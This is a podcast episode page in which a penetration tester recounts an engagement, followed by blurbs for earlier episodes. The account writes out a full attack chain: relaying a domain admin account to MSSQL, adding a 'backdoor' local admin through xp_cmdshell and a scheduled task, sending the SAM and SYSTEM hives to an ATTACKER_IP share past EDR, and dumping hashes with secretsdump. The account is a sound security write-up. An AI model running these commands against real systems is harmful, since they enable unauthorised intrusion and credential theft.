7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Jaksot(705)

7MS #681: Pentesting GOAD – Part 3

7MS #681: Pentesting GOAD – Part 3

Today Joe "The Machine" Skeen and I pwn the third and final realm in the world of GOAD (Game of Active Directory): essos.local! The way we go about it is to do a WinRM connection to our previously-pwned Kingslanding domain, coerce authentication out of MEEREEN (the DC for essos.local) and then capture/abuse the TGT with Rubeus! Enjoy.

27 Kesä 18min

7MS #680: Tips for a Better Purple Team Experience

7MS #680: Tips for a Better Purple Team Experience

Today I share some tips on creating a better purple team experience for your customers, including: Setting up communication channels and cadence Giving a heads-up on highs/criticals during testing (not waiting until report time) Where appropriate, record videos of attacks to give them more context

20 Kesä 26min

7MS #679: Tales of Pentest Pwnage – Part 73

7MS #679: Tales of Pentest Pwnage – Part 73

In today's tale of pentest pwnage I talk about a cool ADCS ESC3 attack – which I also did live on this week's Tuesday TOOLSday. I also talk about Exegol's licensing plans (and how it might break your pentest deployments if you use ProxmoxRox).

13 Kesä 30min

7MS #678: How to Succeed in Business Without Really Crying – Part 22

7MS #678: How to Succeed in Business Without Really Crying – Part 22

Today I share some tips on presenting a wide variety of content to a wide variety of audiences, including: Knowing your audience before you touch PowerPoint Understanding your presentation physical hookups and presentation surfaces A different way to screen-share via Teams that makes resolution/smoothness way better!

6 Kesä 33min

7MS #677: That One Time I Was a Victim of a Supply Chain Attack

7MS #677: That One Time I Was a Victim of a Supply Chain Attack

Hi everybody. Today I take it easy (because my brain is friend from the short week) to tell you about the time I think my HP laptop was compromised at the factory!

30 Touko 13min

7MS #676: Tales of Pentest Pwnage – Part 72

7MS #676: Tales of Pentest Pwnage – Part 72

Today's fun tale of pentest pwnage discuss an attack path that would, in my opinion, probably be impossible to detect…until it's too late.

27 Touko 59min

7MS #675: Pentesting GOAD – Part 2

7MS #675: Pentesting GOAD – Part 2

Hey friends! Today Joe "The Machine" Skeen and I tackled GOAD (Game of Active Directory) again – this time covering: SQL link abuse between two domains Forging inter-realm TGTs to conquer the coveted sevenkingdoms.local! Join us next month when we aim to overtake essos.local, which will make us rulers over all realms!

16 Touko 31min

7MS #674: Tales of Pentest Pwnage – Part 71

7MS #674: Tales of Pentest Pwnage – Part 71

Today's tale of pentest pwnage is another great one! We talk about: The SPNless RBCD attack (covered in more detail in this episode) Importance of looking at all "branches" of outbound permissions that your user has in BloodHound This devilishly effective MSOL-account-stealing PowerShell script (obfuscate it first!) A personal update on my frustration with ringing in my ears

9 Touko 49min

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